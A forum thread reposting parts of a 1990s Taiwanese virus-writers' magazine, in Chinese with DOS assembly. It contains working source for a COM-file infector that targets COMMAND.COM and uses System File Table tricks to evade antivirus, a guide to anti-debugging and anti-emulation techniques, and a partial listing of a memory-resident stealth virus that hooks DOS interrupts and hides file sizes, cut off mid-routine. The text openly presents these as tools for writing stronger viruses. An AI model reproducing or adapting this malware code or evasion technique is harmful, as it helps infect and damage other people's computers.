找回密码
 立即注册
搜索
查看: 250|回复: 2

【轉貼】病毒雜誌 線上版

[复制链接]

3

主题

172

回帖

235

积分

海星

积分
235
发表于 2003-1-27 08:54:52 | 显示全部楼层 |阅读模式
最近整理硬碟 發現了幾年前抓的 台 灣 威 力 病 毒 組 織  病毒雜誌
共有四集,先貼一些有人要再貼剩下的。



本雜誌之所有著作版權皆屬於「台灣威力病毒組織」所有。你
        可以盡情閱讀本雜誌或者傳給別人使用。但是請您尊重著作版權不
        要任意更改文章內容以及作者姓名... 。

編者的話:
            台灣病毒界要變天了!我們終於成立了台灣第一個病毒組織─
        TPVO。本組織由於最近才剛剛成立,百廢俱舉,尚未給病毒作者一
        個良好的環境,但是本人相信日後TPVO必定會給國內各地病毒作者
        廣大的溝通管道,不但讓大家研究病毒的寫作技巧,也吸收世界各
        地的病毒資料,更可以和世界各大病毒組織聯絡、研究。

            本期病毒雜誌由於初刊沒有華麗動人的畫面,但是內容不會濫
        竽充數的,所以請各位讀者放心。

   

                                TPVO-001.000 .........  雜誌目錄說明檔
    TPVO-001.001 .........  系統檔案表格(SFT)               by Dark Slayer
    TPVO-001.002 .........  反追蹤之技巧                    by Zhuge Jin
    TPVO-001.003 .........  金蟬 V.S ZLOCK (附:ZOPEN.ASM)  by Zhuge Jin
    TPVO-001.004 .........  最小的檔案型病毒-Cute           by Dark Slayer
    TPVO-001.005 .........  台灣第一隻伴隨型病毒(解析)      by Dark Slayer
    TPVO-001.006 .........  伴隨型病毒-Terra'X              by Zhuge Jin
    TPVO-001.007 .........  一隻開機型病毒-NOVA             by Zhuge Jin
    TPVO-001.008 .........  我的「第一次」- Abomb           by Poison Maker
    TPVO-001.009 .........  變體引擎寫作指南                by Zhuge Jin







                         ◎系統檔案表格(SFT) ◎
                         by Dark Slayer of TPVO

==========================================================================

    嗨!我是DS,由於我住在學校宿舍,但是一個禮拜會回來一次,所以我每個禮拜
都會寫一些技術資料給各位成員,希望大家好好努力,歡迎寫信和我討論,但是我一
個禮拜只能回來回一次信,抱歉囉...
這次我要講的是SFT (System File Table,系統檔案表格) 的應用。

    當我們用DOS 的File Handle 來讀寫檔案時,有沒有人想過它的原理,假設一開
始檔案指標指向檔案開頭,我們讀取或寫入這個檔案後會改變它的指標,是否有人想
過它將這個指標值記錄在哪裡? 如果我們寫入一個檔案,DOS 如何能得知在關檔時怎
樣更改此檔的目錄? 關於這一切檔案處理的資料都記錄在SFT 之中,oh... yeah...
SFT!!!是寫毒者的強力工具,深入瞭解SFT 並且應用在您的病毒之中,將會使您的毒
變的更強,事實上... 早在DOS 3.3 的時代就已經有人利用SFT 來寫毒了,他就是保
加利亞的毒王Dark Avenger,國外使用SFT 的技術很久了,但是我們國內的病毒作者
卻很少有人懂的去利用SFT(我例外啦... 呵呵呵...)OK!廢話不多說... 我們趕快來
看看這樣一個好東西...

DOS 4.0-6.2 的 SFT 格式 (取自 INTRLIST,由我翻譯)
        偏移    大小    描述
         00h    WORD    參考至此檔案的 handle 個數
         02h    WORD    開檔模式 (參考 AH=3Dh,int 21h)
                        如果此檔是利用FCB 來開檔則 bit 15=1
         04h    BYTE    檔案屬性 (參考 AH=43h,int 21h)
         05h    WORD    裝置資訊 (參考 AX=4400h,int 21h)
                        bit 15=1 表是此檔為遠方 (在網路上)
                        bit 14=1 在關檔時不要設定檔案的日期及時間
                        bit 7  1: 設備 device,0: 檔案
                        bit 6 =1 檔案尚未被寫入
                        bits 5~0 當 bit 7=1 時磁碟機編號 (0=A:,1=B: ...)
                                 bit 7=0 時為裝置資訊
         07h    DWORD   如果是字元裝置,則此為指向裝置驅動程式表頭之指標
                        否則,此為指向DOS 磁碟參數區塊 (DPB) 之指標
                         (參考 AH=32h,int 21h)
         0Bh    WORD    檔案的啟始叢集 (cluster)
         0Dh    WORD    檔案時間 (參考 AH=57h,int 21h)
         0Fh    WORD    檔案日期 (參考 AH=57h,int 21h)
         11h    DWORD   檔案大小
         15h    DWORD   檔案讀寫指標 (參考 AH=42h,int 21h)
         19h    WORD    最後一次存取的 cluster 之相對 cluster 編號
         1Bh    DWORD   此檔案目錄進入點的磁區編號 (可用直接用 int 25h/26h 讀寫)
         1Fh    BYTE    一個磁區中,可容納的目錄個數
         20h 11 BYTEs   FCB 格式的檔名 (無路徑,無句點 '.',剩下的空間以
                        空白 space (ASCII code 20h) 補足
         2Bh    DWORD   (SHARE.EXE) 指向前一個 SFT 共用相同檔案之指標
         2Fh    WORD    (SHARE.EXE) 開啟檔案的網路機器編號
         31h    WORD    檔案擁有者的 PSP 區段,AUX/CON/PRN 指向 IO.SYS
         33h    WORD    (SHARE.EXE) 在 SHARE 程式段中共用錄的偏移值
                        0000h=沒有 SHARE
         35h    WORD    最後一次存取的 cluster 之絕對 cluster 編號
         37h    DWORD   指向 IFS 驅動程式之指標

看完了上面的資料後是否覺得很複雜? 或是感到興奮? 它可是含括許多好用的東西
(或者該叫武器?!)

當我們用DOS 的AH=3Dh int 21h來開檔,DOS 便為此檔建立了SFT ,但是你可能會
感到疑惑! 如何取得此SFT 的位址呢? 看下面吧...

        mov     ax,3d02h
        mov     dx,offset file_name
        int     21h             ; 開檔

        xchg    bx,ax
        push    bx              ; 存 File Handle,因為底下改變了 BX

        mov     ax,1220h
        int     2fh             ; 取得工作檔案表格 JFT (Job File Table)

        mov     ax,1216h
        xor     bh,bh           ; bh=0
        mov     bl,es:[di]      ; bl=es:[di]=JFT 的編號
        int     2fh             ; 取得 SFT 的位址

        pop     bx              ; 拿回 File Handle


--------D-2F1220-----------------------------
INT 2F U - DOS 3+ 內部使用 - 取得工作檔案表格
        AX = 1220h
        BX = file handle
傳回:   CF =1 錯誤
            AL = 6 (無效的 file handle)
        CF =0 成功
            ES:DI -> 在目前程序中,檔案代碼的 JFT (byte)
Notes:  the byte pointed at by ES:DI contains the number of the SFT for the
          file handle,or FFh if the handle is not open
        supported by DR-DOS 5.0+
SeeAlso: AX=1216h,AX=1229h
--------D-2F1216-----------------------------
INT 2F U - DOS 3+ internal - 取得 SFT 的位址
        AX = 1216h
        BX = SFT 編號 (也就是用 AX=1220h int 2Fh 取得的 JFT)
Return: CF =0 成功
            ES:DI -> SFT 位址
        CF =1,BX 大於 FILES=xxxx
Note:   supported by DR-DOS 5+
SeeAlso: AX=1220h


帥吧?!利用DOS 未公開的功能int 2Fh 來取得SFT ,事實上int 2Fh 有許多好用
的功能,以後會介紹的。

    取得SFT 之後要幹嘛? 嘿嘿嘿... 取得它之後,許多酷的技巧都可以靠它展現
囉,接下來完全要看各人的想像力與創意囉... 我指出幾點可以利用到SFT 的地方
,其它更深入的應用以後再講,或是你自己可以先試試看,發揮您求知的精神吧!

DOS 4.0-6.2 的 SFT 格式 (取自 INTRLIST,由我翻譯)
        偏移    大小    描述
         00h    WORD    參考至此檔案的 handle 個數
         02h    WORD    開檔模式 (參考 AH=3Dh,int 21h)
                        如果此檔是利用FCB 來開檔則 bit 15=1
    我用3D00h 開檔,再將此處改為 2,如此可以用讀寫模式來存取此檔,這樣可
以騙過那些爛AV,因為AV以為用3D00h 開檔就不可能被寫入了,所以可能會不防這
招...

         04h    BYTE    檔案屬性 (參考 AH=43h,int 21h)

用3D02h 開檔之前要先用4300h 得到檔案屬性,再用4301h 更改檔案屬性為非隱藏
、可讀寫嗎?不用啦!!呵呵... 我們只要用3D00h 開檔 (如上面所講) 再保存此
處之值,然後將它設為0,一樣有相同的功能喔!

         05h    WORD    裝置資訊 (參考 AX=4400h,int 21h)
                        bit 15=1 表是此檔為遠方 (在網路上)
                        bit 14=1 在關檔時不要設定檔案的日期及時間
                        bit 7  1: 設備 device,0: 檔案
                        bit 6 =1 檔案尚未被寫入
                        bits 5~0 當 bit 7=1 時磁碟機編號 (0=A:,1=B: ...)
                                 bit 7=0 時為裝置資訊

在寫入一個檔案之前要先保存它的時間和日期嗎?不必囉... 感染完之後,在關檔
之前將bit 14設為1 ,則關檔後一樣不會改變到時間和日期。

         07h    DWORD   如果是字元裝置,則此為指向裝置驅動程式表頭之指標
                        否則,此為指向DOS 磁碟參數區塊 (DPB) 之指標
                         (參考 AH=32h,int 21h)

Assassin病毒怎麼得,要感染的檔案後面剩餘的cluster 有多少呢?當然是先得知
此磁碟的一個cluster 有幾個磁區(sector),再拿檔案長度來算即可得知如何取得
這些資料呢?當然是從DPB 囉...

         0Bh    WORD    檔案的啟始叢集 (cluster)
         0Dh    WORD    檔案時間 (參考 AH=57h,int 21h)
         0Fh    WORD    檔案日期 (參考 AH=57h,int 21h)

不須用AH=57h一樣可以得到檔案時間與日期

         11h    DWORD   檔案大小

不須用AX=4202h,CX=DX=0,int 21h 一樣可以得到檔案大小

         15h    DWORD   檔案讀寫指標 (參考 AH=42h,int 21h)

直接更改這邊的值和用AH=42h int 21h效果是一樣的

         19h    WORD    最後一次存取的 cluster 之相對 cluster 編號
         1Bh    DWORD   此檔案目錄進入點的磁區編號 (可用直接用 int 25h/26h 讀寫)
         1Fh    BYTE    一個磁區中,可容納的目錄個數
         20h 11 BYTEs   FCB 格式的檔名 (無路徑,無句點 '.',剩下的空間以
                        空白 space (ASCII code 20h) 補足
         2Bh    DWORD   (SHARE.EXE) 指向前一個 SFT 共用相同檔案之指標
         2Fh    WORD    (SHARE.EXE) 開啟檔案的網路機器編號
         31h    WORD    檔案擁有者的 PSP 區段,AUX/CON/PRN 指向 IO.SYS
         33h    WORD    (SHARE.EXE) 在 SHARE 程式段中共用錄的偏移值
                        0000h=沒有 SHARE
         35h    WORD    最後一次存取的 cluster 之絕對 cluster 編號
         37h    DWORD   指向 IFS 驅動程式之指標

   OK!我就拿以前病毒教學Lesson one 的那隻小毒來改造,示範如何使用SFT改
造的部份我用小寫的指令。

=================(Lesson one - new)==========================================

LESSON_1        SEGMENT
                ASSUME  CS:LESSON_1,DS:LESSON_1
                ORG     100h
START:
                NOP     ; ┐
                NOP     ; ├> 保留 3 BYTES 的空間
                NOP     ; ┘

VIR_START:      ; 此處才是真正病毒程式的開端


                CALL    LOCATE                  ; 可以想成 PUSH IP
LOCATE:                                         ;
                POP     SI                      ;
                SUB     SI,OFFSET LOCATE        ; 減掉多餘的值,此時 SI=偏移值

; 由於此毒是接在檔案後面,而被感染的檔案大小不一,所以病毒接在檔案後的偏移
; 也會不一定,而會造成變數無法定位,所以我們要得知偏移了多少
; 下面程式只要牽涉到和記憶體定址有關的部份,都會加上 [SI] 偏移值


                MOV     AX,WORD PTR DS:FIRST_3_BYTE[SI] ; ┬> 恢復記憶體中,原
                MOV     DS:[100h],AX                    ; │  檔案開頭,被病毒
                MOV     AL,DS:FIRST_3_BYTE[SI+2]        ; │  改過的 3 BYTES
                MOV     DS:[100h+2],AL                  ; ┘

; 因為此毒第一次執行時,之前並沒有感染過檔案,而要恢復此 3 BYTES 時會蓋到
; 病毒本身,所以一開始我們加了 3 個 NOP 來空出此空間,VIR_START 才是真正
; 的病毒碼開始處


                mov     ax,3D00h                ; open file for read only

                LEA     DX,FILE_NAME[SI]        ; DS:DX 指向要開的檔名
                INT     21h                     ; 呼叫中斷

; 開檔成功後,傳回 AX=檔案代碼 (FILE HANDLE)

                MOV     BX,AX   ; BX = AX = FILE HANDLE


                push    bx                      ; save BX
                mov     ax,1220h
                int     2fh                     ; get JFT
                mov     ax,1216h
                xor     bh,bh
                mov     bl,es:[di]              ; BL=JFT
                int     2fh                     ; get SFT
                pop     bx                      ; restore BX

                mov     word ptr es:[di+2],2    ; file mode = 2 (read/write)

                mov     al,es:[di+4]            ; AL=file attribute
                push    ax                      ; save AX
                mov     byte ptr es:[di+4],0    ; set file attribute to zero


                MOV     AH,3Fh                  ; 讀檔案
                MOV     CX,3                    ; 讀取 3 BYTES
                LEA     DX,FIRST_3_BYTE[SI]     ; DS:DX 指向放資料的位址
                INT     21h                     ; 呼叫中斷

; 這個動作是讀取檔案開頭的 3 BYTES 到 FIRST_3_BYTE,保存起來


              ; MOV     AX,4202h        ; 移動檔案指標 (從檔尾算起)
              ; XOR     CX,CX           ; CX = 0
              ; XOR     DX,DX           ; DX = 0 ,從檔尾移動 0 BYTES
              ; INT     21h             ; 呼叫中斷

                mov     ax,es:[di+11h]  ; AX=file length
                mov     es:[di+15h],ax  ; set access point to file end
                                        ; 因為是 .com 檔,小於 64K,
                                        ; 所以只處裡低字組就可以了


; 這個動作是把檔案讀寫指標移到檔尾,而由 DX:AX (DX = HIGH,CX = LOW) 傳回
; 移動後的指標對於檔頭的距離,所以此時 DX = 0 (COM 檔小於 64K),AX = 檔案
; 長度


                SUB     AX,3                            ; 計算出 JMP 的偏移值
                MOV     WORD PTR DS:JMP_BYTE[SI+1],AX   ; 保存偏移值

; 這個動作是計算要從檔頭 JMP 至檔尾 (病毒碼開端) 所需的偏移


                MOV     AH,40h                  ; 寫檔案
                MOV     CX,VIR_SIZE             ; CX = 病毒長度
                LEA     DX,VIR_START[SI]        ; DS:DX 指向病毒程式開端
                INT     21h                     ; 呼叫中斷

; 這個動作是把病毒本體寫入檔案,由於上個動作已經把檔案指標移到檔尾,所以
; 這次的寫入是從檔尾開始,也就是說把病毒體串接在檔尾


              ; MOV     AX,4200h        ; 移動檔案指標 (從檔頭算起)
              ; XOR     CX,CX           ; CX = 0
              ; XOR     DX,DX           ; DX = 0,從檔頭移動 0 BYTES
              ; INT     21h             ; 呼叫中斷

                mov     word ptr es:[di+15h],0

; 這個動作是把檔案讀寫指標移到檔頭,以便修改檔頭前 3 BYTES


                MOV     AH,40h          ; 寫檔案
                MOV     CX,3            ; 寫入 3 BYTES
                LEA     DX,JMP_BYTE[SI] ; DS:DX 指向 JMP 的程式碼
                INT     21h             ; 呼叫中斷

; 這個動作是把我們原先所記算的 JMP 碼寫到檔頭前 3 BYTES,如此一來程式一執
; 行就會跳至病毒程式開端


                pop     ax              ; AX=file attribute
                mov     es:[di+4],al    ; restore file attribute

                or      word ptr es:[di+5],0100000000000000b
                                        ; 關檔時不要改變時間和日期


                MOV     AH,3Eh  ; 關檔案
                INT     21h     ; 呼叫中斷

                push    cs
                pop     es      ; 因為取SFT 而改變了 es

                MOV     AX,100h ; AX = 100h (COM 檔一開始執行的位址)
                PUSH    AX      ; PUSH 給下個 RET 指令的值
                RET             ; RET 到 100h

; 因為病毒該做的是都做完了,所以返回 100h 去執行原檔案


FILE_NAME       DB      'C:\COMMAND.COM',0
FIRST_3_BYTE    DB      0CDh,20h,?      ; DB 0CDh,20h = INT 20h (程式結束)
JMP_BYTE        DB      0E9h,?,?        ; 0E9h,?,? = JMP XXXX

MSG             DB      'This is [LESSON ONE] virus by Dark Slayer'
                DB      ' in Keelung, Taiwan <R.O.C> of TPVO'

VIR_SIZE        EQU     $-OFFSET VIR_START

LESSON_1        ENDS
                END     START

==========================================================================

3

主题

172

回帖

235

积分

海星

积分
235
 楼主| 发表于 2003-1-27 08:56:07 | 显示全部楼层
◎反追蹤之技巧◎
                           by Zhuge Jin of TPVO

  ==========================================================================

       嗨!今番要跟大家研究一些反追蹤的技巧... 雖然這跟病毒沒有很直接的關係
   ,但能夠讓一些 AV 被耍的團團轉也蠻好玩的...

       早期的人在防別人 debug 的時候,不是當掉 int 1h 、int 3h 不然就是將鍵
   盤鎖住,這樣一來就沒辦法再 trace  。雖然這些方法不見得有多大的高明,但她
   終究也達到防 trace  的目的... 隨著一些工具的誕生,這些方法都已不能再做到
   蹤的要求... 於是... 嘻!各種稀奇古怪的方法也接二連三的被挖掘出來了!而我
   反追寫這篇的目的,就是將她來個總整理... 這也是我目前的職責所在... :_)

   ************************
   1) 使用一些特殊的指令???
   ************************

       我們首先要找一些比較特別的指令來放入我們的病毒內,這樣一來就可讓一些
   AV無法追下去,如此你就可以達到反追蹤的目的... 我們就拿TBAV中的TBCLEAN 來
   開刀吧... (喔!這是一個免費的 AV )

   C:\TBAV>debug
   -a100
   xxxx:xxxx LOCK             ; 這道指令 TBCLEAN 是沒法模擬的!為什麼呢?
   xxxx:xxxx int 20h          ; 可能該作者有特別的理由吧...
   xxxx:xxxx           <Enter>
   -n test.com
   rcx
   :3
   -w
   -q
   C:TBAV>tbclean test.com

   除了這個指令外,尚有 ENTER 、LEAVE 、PUSH ??h 、PUSH ????h ...
   當然啦!不只這些指令可用... 你可以去試試看一些 *not used* 的指令!!!

       再來就是 87 指令... 據目前我所看到的 AV 中,沒一套是能夠模擬這些算數
   運算器的指令... (除了 PTAV 之外... 是為了解我的第一隻多形而加的... 嘻!)
   當然你也可以試試 TBCLEAN 看可以不可以模擬!這個答案是否定的... 因為只要
   是他不認識的指令!都可達到反追蹤的目的,這樣說你應該可以了解吧! :_)

       除了以上提到的指令之外!我們還可以使用一些奇特的指令??嘻!這要感謝
   DS給我一些建議...

     1) D6h (Set AL to carry)
        如果 CF=1 的話,AL 就被設為 FFh!
        如果 CF=h 的話,AL 就被設為 00h!

     2) F1h
        這道指令在 ICE 當中!被做為中斷點... 跟 debug 中的 int 3h 有相同的
        用途...

   ************
   2) 硬体&中斷
   ************

   1) int 00h (除 0 錯誤)

       ...
       xor ax,ax
       mov ds,ax
       push word ptr ds:[0002h]
       push word ptr ds:[0000h]
       mov ds:[0002h],cs
       mov ax,OFFSET int0_jmp
       mov ds:[0000h],ax
       xor ax,ax
       div ax                ; 因為 ax:=0000h 而 ax 除以 ax 而觸發
       int 20h               ; int 0h 中斷... 使程式轉到 int0_jmp !
       ...                   ; 而不是執行 int 20h ...
    int0_jmp:
       pop ax
       pop ax
       pop ax
       pop word ptr ds:[0000h]
       pop word ptr ds:[0002h]
       ...

       這個方法我原先是加在 GCAE v2.0 中,沒想到後來我的朋友傳給我一些雜誌中
   ,居然有相同的方法,可見外國的技術一直比我國強,因此大家要加油囉...
   在以前沒有一個 CPU 指令模擬可追得下去的... (除了新版的 PTAV之外...)


       類似這種方法,還有int 5h(與bound有關)、int 6h(非法指令中斷)、int 7h
   、int 0dh ... 有興趣自行去研究吧... (哇! 我好墮落喔...)  :_)

   2) int 02h (不可遮罩中斷)

       ...
       xor ax,ax
       mov ds,ax
       push word ptr ds:[000ah]
       push word ptr ds:[0008h]
       mov ds:[000ah],cs
       mov ax,OFFSET int0_jmp
       mov ds:[0008h],ax
       int 75h               ; 為何要呼叫 int 75h 呢??嘻!跟據
       int 20h               ; 我的觀察... 這個中斷裡有一道 int 02h!
       ...                   ; 因此... :_)
    int2_jmp:
       add sp,000ch
       pop word ptr ds:[0008h]
       pop word ptr ds:[000ah]
       ...

   嘻!這個方法我打算用在我的下一版變体引擎中... 到目前為止,沒一個可以模
   擬啦 (我用過 TBAV 試的...) !
   此外... 還可用 I/O port 來引發 int 2h 中斷,有興趣的可以去研究看看...
       port: 61h 、70h ...

   ***************
   3) CPU 指令佇列
   ***************

   咦?佇列?沒聽過?沒錯... 起初我也不知道她的原理!但我現在之知道囉...
   多虧高人指點!又加上我的聰明才智... (哈!好像有點臭屁...)

      mov ah,09h
      mov word ptr ds:[OFFSET reg_dx+01h],OFFSET msg2  ;*
    reg_dx:
      mov dx,OFFSET msg1
      int 21h
      int 20h

    msg1 db 'Fuck the Mad Satan! Shit!','$'
    msg2 db 'Oh! Zhuge ... You are great!!!','$'

        嗯!在 debug 下追的時後,所得到的是 msg2 ... 但在 DOS 下卻是 msg1
    怎樣?夠好玩吧... 為什麼會產生這種情況呢??這是因為 Intel的CPU 在執行
    時會連下幾個指令都一起載入... (可能是比較省時吧!!)而此時星號執行後,
    在程式中雖然mov dx,OFFSET msg1被替換成mov dx,OFFSET msg2,但在 CPU當中
    確沒改變,照成執行的結果是 msg1 !!當然啦!如果在星號後有加個jmp 或是
    call的話,這種現象就不會發生了!這樣應該了解這個跟反追蹤什麼關係吧!還
    可以用這個方法來改變程式流程哦...

    不過... 在 Pentium 中就不會這麼好了... 原因是這個 CPU 中有了 Prefetch
    queues 回寫的功能... (我是看原文的... 好像是這個意思沒錯!!!) 所以,以
    上的問題就只有一種結果囉... :_)

        此外,如果你想到一種新反追蹤的方法時!我建議你不妨用TBCLEAN 來試,
    因為這個不但是免費的,同時也是公認的... 如果這套沒法追的話,那其它的有
    90%的機率也是沒辦法了... 當然啦!!這種方法是要比較特殊的,如果是較平
    常的話,那就未必了!!希望你會有所心得吧... :_)
回复

使用道具 举报

3

主题

172

回帖

235

积分

海星

积分
235
 楼主| 发表于 2003-1-27 09:18:44 | 显示全部楼层
◎金蟬 V.S ZLOCK(附:ZOPEN.ASM)◎
                           by Zhuge Jin of TPVO

  ==========================================================================

       嗨!大家好... 我是「黑暗奸殺者」,江湖上大家都叫我「豬哥」。怎樣...
   很親切吧... 沒錯... 我這個人脾氣就係很怪!如果此人來意不善,我決不二話,
   保證不跟該人有妥協的餘地!!沒辦法... 誰叫我是豬脾氣呢??哈!愈講愈變態
   !

       這次Dark Slayer 這位酷哥寫了一份SFT 的說明檔,大家了解了嗎??其實那
   裡面的一隻小毒寶寶已可將ZLOCK 給幹掉了... 而我寫的這隻病毒是一隻常駐的!
   他不但能幹掉ZLOCK ,同時也可隱藏檔案大小噎... 相信如果你是初學者!到可以
   好好研究,因為這還不算很難寫的...

       上次聚會的時候,我的好友要求我寫個常駐破壞??破壞??我想不到除了幹
   掉硬碟之外,還有什麼就做破壞呢??唉!想當年... 算了... 那幹掉ZLOCK 的程
   式檔算是夠狠吧... 嗯!聽他們的 USER 說!安裝 ZSIR 會當機??嘿!我想...
   哈!讓他們裝了好幾次都裝不成,夠累人哦... :_)

   咦!最近好像很少有新病毒可玩玩了,這也代表說他們那些防毒業者沒法再招謠撞
   騙了... 因此就只能抓些以前一些老毒來季評囉... 像我最近看到 [真衰月刊] ,
   他們還是老毛病... 我就引一些來討論囉... :()

    ----------------------------------------
    1)MSAV 6.22 在此次測試中,讀者不難看出
    其防毒功能已不能滿足現實需求,且其佔
    用46KB記憶體並未帶給它太多的優勢,希
    望在下一版本有很好的表現。儘管MSAV功
    能不能滿足,但其在防禦SKID ROW系列、
    BAD HEAD系列、壓縮病毒系列,仍然表現
    不錯,讀者可列為防毒參考。
    ----------------------------------------
   ZJ: 沒錯!她佔記憶体的確很多,可是會不會在下一版改進那就不得而知了...
       就算是會有下一版,但也不見得會有所好表現,畢竟Microsoft 應該作的是,
       在於系統安全上的補強,而不是在防毒方面上。至於說參考,我想沒一人會做
       ,除非是玩病毒... 總不該叫一些不懂病毒的人將她常駐嘛... 由此可見,他
       們還是認為他們最棒的... 你說不是嗎??哈!你們說我有沒有強辭奪理呢..


    ----------------------------------------
    2)TBAV 6.30 之表現與上次季評差不多,同
        樣是在偵防上表現優異................
        ....................................
        。另外其解未知毒功能在此次並未發揮太
        大的效力,不過其整體表現仍然在一般防
        毒軟體之上。
    ----------------------------------------
    ZJ: 上次?上次有季評嗎?我記得上次季評沒看到 TBAV 唉... 雖然她在解未知
        毒的效力不太大,但也不致於當的如此的離譜... 至於一般防毒軟体之上?
        唉!不用我多說吧... 還不都是說自家的最棒...

    ----------------------------------------
    3)PC-CILLIN 4.1 在此次測試中,其偵防的
        能力的確應受到肯定,但其對攔截 SKID
        ROW之磁區填碼型、CRUNCHER壓縮型及BAD
        HEAD、CVEX資料檔感染型,仍未改善,而
        對於馬蓋先4.0 在此次測試,會發生當機
        而不致漫延。開機型部份,其資料比對的
        防毒方式,在面對GOLDEN CICADA 金蟬病
        毒時,顯然失效。儘管如此,其仍不失為
        防毒時參考的軟體。
    ----------------------------------------
    ZJ: 至於當機會不致漫延??好像在說 PC-cillin 是用當機來防 Mac 4.0 的似
        ... 而他們列舉了這麼多病毒可突破PC-cillin ,而卻說不失為防毒時參考
        的軟体... 你說有那個白痴看了後會去買 PC-cillin ??我吧!!:_(

    ----------------------------------------
    4)ZSIR 500 是以ZLOCK J4.52 PW37 與ZSIR
        F3.6作測試。ZLOCK 在偵、防上的能力,
        相當一致,而且在攔截到病毒時所發出的
        警告,亦十分明確。此次各位讀者可以發
        現ZLOCK 在攔截ASSASSIN病毒上出現漏洞
        ,不過啟動MODE 2可以發現有不正常寫入
        。..................................
    ----------------------------------------
    ZJ: 用 MODE 2 來防??這是他們的藉口啊!大家千萬不要受騙啊... 如果用這
        樣來防啊!那倒不如將硬碟鎖起來,何需用 ZLOCK 呢??

    ----------------------------------------
    (1)攔截HD/IO病毒的技術
    (2)攔截直接驅動I/O port的病毒
    (3)攔截資料感染的技術
    (4)可在DOS進入之前攔截開機型病毒
    ----------------------------------------
    ZJ: 首先我先強調一點,病毒在怎變化也只有那幾種,沒有必要將病毒說的那麼
        雜,好像病毒有多可怕... 哇!怕死了... 我要買 ZLOCK ...
        針對第( 4)點,要破「牠」簡直太容易... 能在DOS 進入前攔開機型病毒,
        那如果在DOS 進入後,病毒再攔中斷那不就掛了... 反正他的漏洞就是沒想
        過,而廣告卻是絞盡腦汁... 要不是我懶的寫,不然的話就把「牠」姦殺了
        。哇!哈!哈!哈!(又...)

       至於趨勢呢?哇!大酷哥!!居然連 Stoned 3/6 都出場了... 我真是敗給他
   了!那是多久的病毒呢?大家都比我還清楚!當時這隻病毒是靠一堆外銷的原版磁
   片而傳到荷蘭去的,這些我都知道... 我不知道... 我真的不知道??這隻毒還有
   什麼好講的... 唉!!太酷了... 喂!大姜XX !!我不相信你講古會比我行...
   我讀過,西周史 、春秋史 、戰國冊 、秦漢 、三國 、明 、南明... 其他列傳就
   自不必再說了... 改天向你討教討教... ;_)

       看完了上個兒,你對ZLOCK 的真面目有了解多少呢??往後我一有時間我會開
   個專欄來揭穿ZLOCK 的假面具... 請大家期待吧!!:_)

  ==========================================================================
;
; This is [ZOPEN] virus ...
; Written by Zhuge Jin at TPVO , 1995 .
;

..286

ZOPEN SEGMENT
      ASSUME CS ZOPEN,DS ZOPEN

        org 0000h

start:

vir_start:
        call    locate                          ;

locate:
        pop si                                  ;
        sub si,OFFSET locate                    ; 取偏移值...

chk_vsign:
        push cs
        pop ds
        mov ax,4bach                            ; 判斷病毒有無常
        int 21h                                 ; 駐...
        cmp ax,0ac4bh                           ; 若已常駐則轉!!!
        jz run_org_prg                          ;

tsr:
        mov ax,es                               ; 取 MCB 的段位置
        dec ax                                  ; ...
        mov ds,ax                               ;
        cmp byte ptr ds:[0000h],'Z'            ; 是最後一個 MCB 嗎?
        jnz run_org_prg                        ;
        add word ptr ds:[0003h],-para_size      ; 幫記憶体減肥囉 :_)
        add word ptr ds:[0012h],-para_size      ;
        mov ax,ds:[0012h]                       ; *注意* AX=????

        push cs
        pop ds
        push es

        xor bx,bx                              ; set es:=0000h
        mov es,bx                              ;

        mov bx,OFFSET vint21h                  ; 攔 int 21h ...
        xchg bx,es:[0084h]                     ;
        mov ds:[si+OFFSET int21_o],bx          ;
        mov ds:[si+OFFSET oint21_o],bx         ;
        mov bx,ax                              ;
        xchg bx,es:[0086h]                     ;
        mov ds:[si+OFFSET int21_s],bx          ;
        mov ds:[si+OFFSET oint21_s],bx         ;

        mov bx,OFFSET vint2fh                  ; 攔 int 2fh ...
        xchg bx,es:[00bch]                     ;
        mov ds:[si+OFFSET int2f_o],bx          ;
        mov bx,ax                              ;
        xchg bx,es:[00beh]                     ;
        mov ds:[si+OFFSET int2f_s],bx          ;

        call get_org_int21h                    ; 一個非常豬哥的副程式... z.Z.

        push si                               ; 跟上面的 * 號有關係囉...
        mov cx,vir_size                       ; 目的是將病毒常駐到 6??k
        xor di,di                             ; 附近...
        mov es,ax                             ;
        cld                                   ;
        rep movsb                             ;
        pop si                                ;

        pop es

run_org_prg:
        mov ax,ds:[0000h]                      ; 這裡就係執行原程式...
        push es                                ;
        pop ds                                 ;
        cmp ax,20cdh                           ; 是 com 檔嗎?
        jnz run_exe                            ; 不是就轉囉... :_)

run_com:
        mov ax,cs:[si+OFFSET com_f1]
        mov ds:[0100h],ax
        mov al,cs:[si+OFFSET com_f2]
        mov ds:[0102h],al
        push ds
        push 0100h
        retf

run_exe:
        mov ax,es
        add ax,0010h
        add cs:[si+OFFSET exe_jmp_cs],ax
        mov sp,cs:[si+OFFSET org_sp]
        add ax,cs:[si+OFFSET org_ss]
        mov ss,ax

        db 0eah                 ; jmp exe_jmp_cs:exe_jmp_ip
exe_jmp_ip dw ?
exe_jmp_cs dw ?

get_org_int21h:                         ; 這裡係我取原 DOS 進入點的副程
        push ax                         ; 式... 你有你有的方法, 這方法
        push di                         ; 沒固定的... :_)
        push si                         ; 加油!!!
        push ds
        mov di,si
        cld
        xor ax,ax
        mov ds,ax
        mov si,ds:[00c1h]
        mov ax,ds:[00c3h]
        mov ds,ax
        lodsw
        cmp ax,9090h
        jnz chk_ent
chk_jmp:
        lodsb
        cmp al,0ffh
        jnz chk_jmp
        lodsb
        cmp al,2eh
        jnz chk_jmp
        lodsw
        mov si,ax
        lodsw
        push ax
        lodsw
        pop si
        mov ds,ax
chk_ent:
        cmp si,0f000h
        jae chk_end
        lodsb
        cmp al,06h
        jnz chk_ent
        lodsw
        cmp ax,551eh
        jnz chk_ent
        sub si,0003h
        mov cs:[di+OFFSET oint21_o],si
        mov cs:[di+OFFSET oint21_s],ds
chk_end:
        pop ds
        pop si
        pop di
        pop ax
        ret

dir_stealth:                  ; 這裡係隱藏檔案大小的...
        call int21h
        cmp al,0ffh
        jz ds_ext
        push ax
        push bx
        push es
        mov ah,2fh
        call int21h
        cmp byte ptr es:[bx],0ffh
        jnz ds_noex
        add bx,0007h
ds_noex:
        mov ax,es:[bx+19h]
        shr ah,01h
        cmp ah,64h
        jb ds_not
        sub word ptr es:[bx+1dh],vir_size
        sbb word ptr es:[bx+1fh],0000h
ds_not:
        pop es
        pop bx
        pop ax
ds_ext:
        popf
        iret

find_stealth:                 ; 這裡係隱藏檔案大小的...
        popf
        call int21h
        jc fs_ext
        push ax
        push bx
        push es
        mov ah,2fh
        call int21h
        mov ax,es:[bx+18h]
